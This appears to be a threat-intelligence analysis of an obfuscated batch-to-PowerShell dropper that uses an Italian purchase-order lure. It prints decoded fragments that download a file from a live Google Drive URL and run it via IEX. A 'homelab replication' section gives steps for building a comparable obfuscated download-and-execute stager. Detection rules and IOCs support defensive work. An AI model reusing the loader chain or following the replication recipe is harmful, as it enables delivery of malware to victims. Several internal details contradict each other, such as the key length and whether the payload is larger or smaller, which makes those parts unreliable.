typeanalysisfamilyunclassified-danish-batch-ps-dropperconfidencemediumcreated2026-08-13updated2026-08-13scriptdropperc2defense-evasionexecutionobfuscationmitre-attck
SHA-256: afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991

unclassified-danish-batch-ps-dropper: afc82dc9 — Three-layer spittlessh→Gries156→pudg decoder, Italian purchase-order lure

Executive Summary: Third confirmed sibling in the Danish-variable batch→PowerShell dropper family. Evolves the two-layer stolthe168→Monokrome design of sibling 93aec3da into a three-layer pipeline: spittlessh (character-skip cipher, offset 58, stride 4) → Gries156 (Base64 + XOR with 7-byte key Garversv) → pudg (per-element XOR loop over a byte array). Same Google Drive C2 endpoint as sibling 93aec3da but new hardcoded payload carve offsets (125853 / 14870 bytes). Italian social-engineering lure masquerades as an urgent purchase-order PDF. Static-only; CAPE skipped because the sample is a single-line batch script.

What It Is

Field Value
SHA-256 afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991
Filename Urgente Richiesta d'offerta B473_IREM_PDF.bat
Size 4,226 bytes
File type ASCII text, single line, no line terminators ^[file.txt]
Family unclassified-danish-batch-ps-dropper — third confirmed sibling
Build DOS batch wrapper → inline PowerShell; no compiler, no packer

The outer layer is a .bat file that invokes powershell.exe -NoProfile -windowstyle 1 with a 4,091-character inline script. ^[strings.txt:1] The -windowstyle 1 argument is an alias for -windowstyle Normal, but in this context it simply prevents the hidden-window flag from appearing in command-line telemetry.

How It Works

1. Character-skip cipher (spittlessh)

The script defines spittlessh($rumblings), a stride-4 decoder with offset 58 (unprecedented in this family — previous siblings used offset 3). Real characters sit at indices 58, 62, 66, ... inside noise-padded string literals. ^[strings.txt:1] The arithmetic is $monorhinou = $uranoulldoze + $tronhiml where $uranoulldoze = 3 and $tronhiml = 55, giving the starting offset 58.

Twelve spittlessh calls decode to short command fragments:

# Decoded fragment Purpose
0 [int]$restrin -bx Noise / dead code
1 o%cH ;T Sh-Ua ^ Noise / dead code
2 %KFTBz >, L.Q U Jv r>& Noise / dead code
3 nvert] Partial [Convert]
4 FromBase64String($rumblings) Base64 decode call
5 $script:diasc=[ Script-scoped variable init
6 %V I Partial %V I (noise)
7 Encoding] Partial [Text.Encoding]
8 ASCII ASCII encoding specifier
9 GetString($cageworkd%I Partial GetString call
10 :: Colon operator (used as $mario)
11 . Dot operator (used as $byudvi)
12–14 I, E, X Assembled into IEX

The short decoded strings (e.g., I, E, X from 59-char literals) are concatenated across three spittlessh calls to form $nona = 'IEX'. ^[strings.txt:1] Similarly $mario = '::' (colon operator) and $byudvi = '.' (dot operator).

2. Base64+XOR fragment decryption (Gries156)

Gries156($rumblings, $reratedlac=0) takes a Base64 string, decodes it, XORs every byte with the key $koncentra = @(71,97,114,118,101,114,115,118) (ASCII Garversv), and optionally IEXs the result if $reratedlac is truthy.

Nineteen Gries156 calls are embedded in the script body. Eight carry the 1 parameter (decrypt + execute); eleven decrypt only (store in variables). Decrypted fragments include:

# Decrypted value Executed?
0 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 No — stored in $sittina (User-Agent)
1 https://drive.google.com/uc?export=download&id=11h6D737JvfdjcP1KAari2XPs6C8M0LFM No — stored in $oprun (URL)
2 > No — dead code (split delimiter)
3 $global:addressi=$env:appdata+$revisorf Yes
4 $global:amphim=$oprun.split($fieldpiec) Yes
5 [Net.ServicePointManager]::SecurityProtocol=3072 Yes
6 $global:blya=New-Object Net.WebClient Yes
7 $blya.Headers[[Net.HttpRequestHeader]40]=$sittina Yes
8 DownloadFile No — stored in $restrinffyrin (method name)
9 $blya.$restrinffyrin.Invoke($oprun,$demarkered) No — stored in $ciscomissp (download invocation)
10 $global:carbona=(Test-Path $demarkered) Yes
11 $global:Predecease=$true Yes
12 Sleep(4) Yes
13 $global:carbona=(Test-Path $demarkered) Yes
14 $global:fldeskum=$global:sminkeau++%$amphim.count Yes
15 $global:straightwa=gc $demarkered Yes
16 $global:Under=[Convert]::FromBase64String($straightwa) Yes
17 $global:sten=[Text.Encoding]::ASCII.GetString($Under) Yes
18 $global:regg=$sten.substring($restrinrbejdsm,$flage) Yes

^[strings.txt:1] (full chain decoded via Python reimplementation of spittlessh and Gries156)

3. Per-element XOR loop (pudg)

The Gries156 function body includes a For loop:

For($monorhinou=0; $cageworkde[$monorhinou] -ne $praktik46; $monorhinou++){
    $cageworkde[$monorhinou] = pudg $cageworkde[$monorhinou] $koncentra[$monorhinou%%8]
}

pudg($restrin, $urano) is a bitwise XOR: $restrin -bxor $urano (decoded from spittlessh call 0: [int]$restrin -bxor $urano). ^[strings.txt:1] This loop iterates over a byte array $cageworkde, XORing each element with the corresponding byte from $koncentra (the 7-byte key Garversv), wrapping with modulo 8. This is a third decryption layer applied to the payload after Base64 decoding and ASCII conversion.

4. Downloader behavior

After the fragments execute, the runtime state is:

  • $oprun = Google Drive direct-download URL
  • $sittina = fabricated Firefox 150.0 UA
  • $demarkered = %appdata%\Bima.pos (staging path, from $addressi = $env:appdata + $revisorf where $revisorf = '\Bima.pos')
  • $restrinrbejdsm = 125853, $flage = 14870 (hardcoded carve offsets)

The script then:

  1. Sets TLS 1.2 (SecurityProtocol=3072)
  2. Spins up a Net.WebClient with the fake UA
  3. Calls .DownloadFile($oprun, $demarkered)
  4. Waits 4 seconds and checks file existence
  5. Reads the downloaded file, Base64-decodes it, converts to ASCII
  6. Extracts substring(125853, 14870) — the inner payload
  7. Applies per-element XOR with Garversv
  8. IEXs the final payload via Filpointer $regg

5. Obfuscation quality

  • Noise-padded literals: The spittlessh arguments are 59–167 character strings of Danish/Scandinavian word salad (Knickknacks Trningsdragts Starry Rekylgevrerne, Lateroversion Lateroabdominal Allokerende Bludge Dokume). ^[strings.txt:1]
  • Variable names: Danish/Nordic (uranoulldoze, tronhiml, pudg, spittlessh, sygelej20, restrinrbejdsm). Same linguistic fingerprint as siblings 402879ff and 93aec3da.
  • Dead code: mp 'tolvaarigt' 'judo' 'partietso82' at script start (function never defined); unused noise fragments inside spittlessh outputs.
  • No VM/debug checks: Relies on being a text file that sandboxes may skip. ^[dynamic-analysis.md]
  • Three-layer encryption: Character-skip (obfuscation layer 1) → Base64+XOR Garversv (crypto layer 2) → per-element XOR loop (crypto layer 3). This is a significant upgrade over the two-layer stolthe168→Monokrome design of sibling 93aec3da.

C2 Infrastructure

Indicator Value
Stage-2 URL https://drive.google.com/uc?export=download&id=11h6D737JvfdjcP1KAari2XPs6C8M0LFM ^[strings.txt:1]
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 ^[strings.txt:1]
Staging file %appdata%\Bima.pos
Payload carve offset 125853, length 14870 bytes
XOR key Garversv (0x47,0x61,0x72,0x76,0x65,0x72,0x73,0x76 — 8 bytes, last byte repeats)
Reflective execution IEX via $nona (I + E + X assembled from three spittlessh calls)

Google Drive is reused from sibling 93aec3da, suggesting the same operator or builder template. The uc?export=download endpoint bypasses the preview page and returns the raw file directly.

Interesting Tidbits

  • Offset 58 character-skip: This is the largest offset observed in the family. Previous siblings used offset 3 (Beting) or offset 3 (stolthe168). The 58-character prefix means the noise-to-signal ratio is enormous — only a handful of real characters are extracted from each literal. ^[strings.txt:1]
  • Firefox 150.0: The User-Agent claims Firefox 150.0, a version that does not exist. This fabricated string is identical to sibling 93aec3da and a direct increment from sibling 402879ff (143.0). ^[strings.txt:1]
  • XOR key "Garversv": A 7–8 byte Danish-looking nonsense string. Longer than sibling 93aec3da's 4-byte Bana, providing slightly more entropy but still static and recoverable.
  • Italian social-engineering lure: Filename Urgente Richiesta d'offerta B473_IREM_PDF.bat masquerades as an urgent Italian purchase-order PDF, exploiting the "Hide extensions" default. The IREM reference suggests targeting of industrial/manufacturing procurement departments. ^[metadata.json]
  • Larger payload carve than siblings: 402879ff carved at offset 428386 / length 22190. 93aec3da carved at offset 138643 / length 15571. This sample uses offset 125853 / length 14870 — a smaller payload, but the three-layer decryption may compress the effective size.
  • No service termination: Same as sibling 93aec3da; sibling 402879ff stopped a prior service (spsv ichoglanop) before staging. This omission in later siblings suggests the builder dropped that feature.
  • $nona assembly: The IEX executor is assembled character-by-character from three separate 59-char spittlessh literals, each yielding exactly one real character. This is a deliberate anti-static measure — no single string contains IEX. ^[strings.txt:1]

How To Mess With It (Homelab Replication)

Goal: Build a comparable batch→PowerShell stager with a three-layer decoder pipeline.

  1. Write a PowerShell payload downloader.
  2. Encode each sensitive command fragment with Base64(XOR(plaintext, key=b'Garversv')).
  3. Further obfuscate by wrapping each Base64+XOR fragment inside a noise-padded literal where real chars sit at offset 58, stride 4.
  4. Implement a pudg loop that XOR-decrypts a byte array element-by-element.
  5. Wrap in a batch file: powershell.exe -NoProfile -windowstyle 1 "<script>".
  6. Execute and verify network traffic shows the fake UA and Google Drive fetch.

Verification: Confirm the three-layer decoder reconstructs the original plaintext commands before the download fires.

Deployable Signatures

YARA rule

rule DanishBatchPSDropper_Gries156 {
    meta:
        description = "Danish-variable batch→PowerShell dropper with spittlessh/Gries156/pudg three-layer decoder"
        author = "PacketPursuit"
        date = "2026-08-13"
        hash = "afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991"
    strings:
        $spittlessh = "function spittlessh" ascii wide
        $gries156    = "Function Gries156" ascii wide
        $pudg        = "function pudg" ascii wide
        $filpointer   = "function Filpointer" ascii wide
        $garversv    = { 24 6b 6f 6e 63 65 6e 74 72 61 3d 40 28 37 31 2c 39 37 2c 31 31 34 2c 31 31 38 2c 31 30 31 2c 31 31 34 2c 31 31 35 2c 31 31 38 29 }  // $koncentra=@(71,97,114,118,101,114,115,118)
        $mp_noise    = "mp 'tolvaarigt' 'judo' 'partietso82'" ascii wide
        $ua_ff150   = "Firefox/150.0" ascii wide
    condition:
        filesize < 10KB and
        3 of ($spittlessh, $gries156, $pudg, $filpointer) and
        any of ($garversv, $mp_noise, $ua_ff150)
}

Behavioral hunt query (Sigma-like)

title: Danish Batch PowerShell Dropper Execution (Gries156 variant)
detection:
    selection:
        CommandLine|contains:
            - 'powershell.exe -NoProfile -windowstyle 1'
            - 'function spittlessh'
            - 'Function Gries156'
            - 'function pudg'
            - '$koncentra=@(71,97,114,118,101,114,115,118)'
    condition: selection

IOC list

Type Value
SHA-256 afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991
Filename Urgente Richiesta d'offerta B473_IREM_PDF.bat
Google Drive ID 11h6D737JvfdjcP1KAari2XPs6C8M0LFM
Staging file %appdata%\Bima.pos
XOR key Garversv (0x47,0x61,0x72,0x76,0x65,0x72,0x73,0x76)
Fake UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0
Payload offsets offset 125853, length 14870 bytes

Behavioral fingerprint

A batch script launches powershell.exe -NoProfile -windowstyle 1 with an inline script defining three nested functions: spittlessh (character-skip cipher at stride 4, offset 58), Gries156 (Base64+XOR decoder with key Garversv), and pudg (per-element XOR loop). The script assembles IEX character-by-character from fragmented spittlessh outputs, sets a fabricated Firefox 150.0 User-Agent, forces TLS 1.2, downloads a file from a Google Drive direct-download URL to %APPDATA%\Bima.pos, Base64-decodes it, extracts a ~14.8 KB substring at offset 125853, applies a per-byte XOR with Garversv, and reflectively executes the result.

Detection Signatures

capa / ATT&CK Mapping Evidence
T1059.003 Windows Command Shell Batch file outer layer ^[file.txt]
T1059.001 PowerShell Inline PowerShell with IEX ^[strings.txt:1]
T1105 Ingress Tool Transfer Net.WebClient.DownloadFile to Google Drive ^[strings.txt:1]
T1620 Reflective Code Loading IEX execution of carved substring ^[strings.txt:1]
T1027 Obfuscated Files or Information spittlessh stride-4 cipher + Gries156 Base64+XOR + pudg per-element XOR ^[strings.txt:1]

References

  • unclassified-danish-batch-ps-dropper — Family entity page (siblings 402879ff, 93aec3da) ^[entities/unclassified-danish-batch-ps-dropper.md]
  • character-skip-cipher-powershell-obfuscation — Technique page for the stride-4 decoder ^[techniques/character-skip-cipher-powershell-obfuscation.md]
  • Sibling analysis: /intel/analyses/402879ff4b368a1dc489d8572137305c84b1983d9539d374f45f815bfa7c1177.html
  • Sibling analysis: /intel/analyses/93aec3da641e8a2d7191e5ec96e1678984c2441f129d6e91ad5741c896e1dfb0.html

Provenance

Analysis derived from static artefacts in raw/analyses/afc82dc9be3d3bcf759c0270f16ae517b20e612a88abcab4da18479b9b216991/. File typed as ASCII text with very long lines (4226 chars, no line terminators) ^[file.txt]. Strings extracted via strings ^[strings.txt]. FLOSS and capa both failed because the input is not a supported executable format ^[floss.txt] ^[capa.txt]. CAPE skipped detonation for the same reason ^[dynamic-analysis.md]. Decryption performed manually via Python scripts replicating the spittlessh stride-4 decoder (offset 58), the Gries156 Base64→XOR pipeline (key Garversv), and the pudg per-element XOR loop.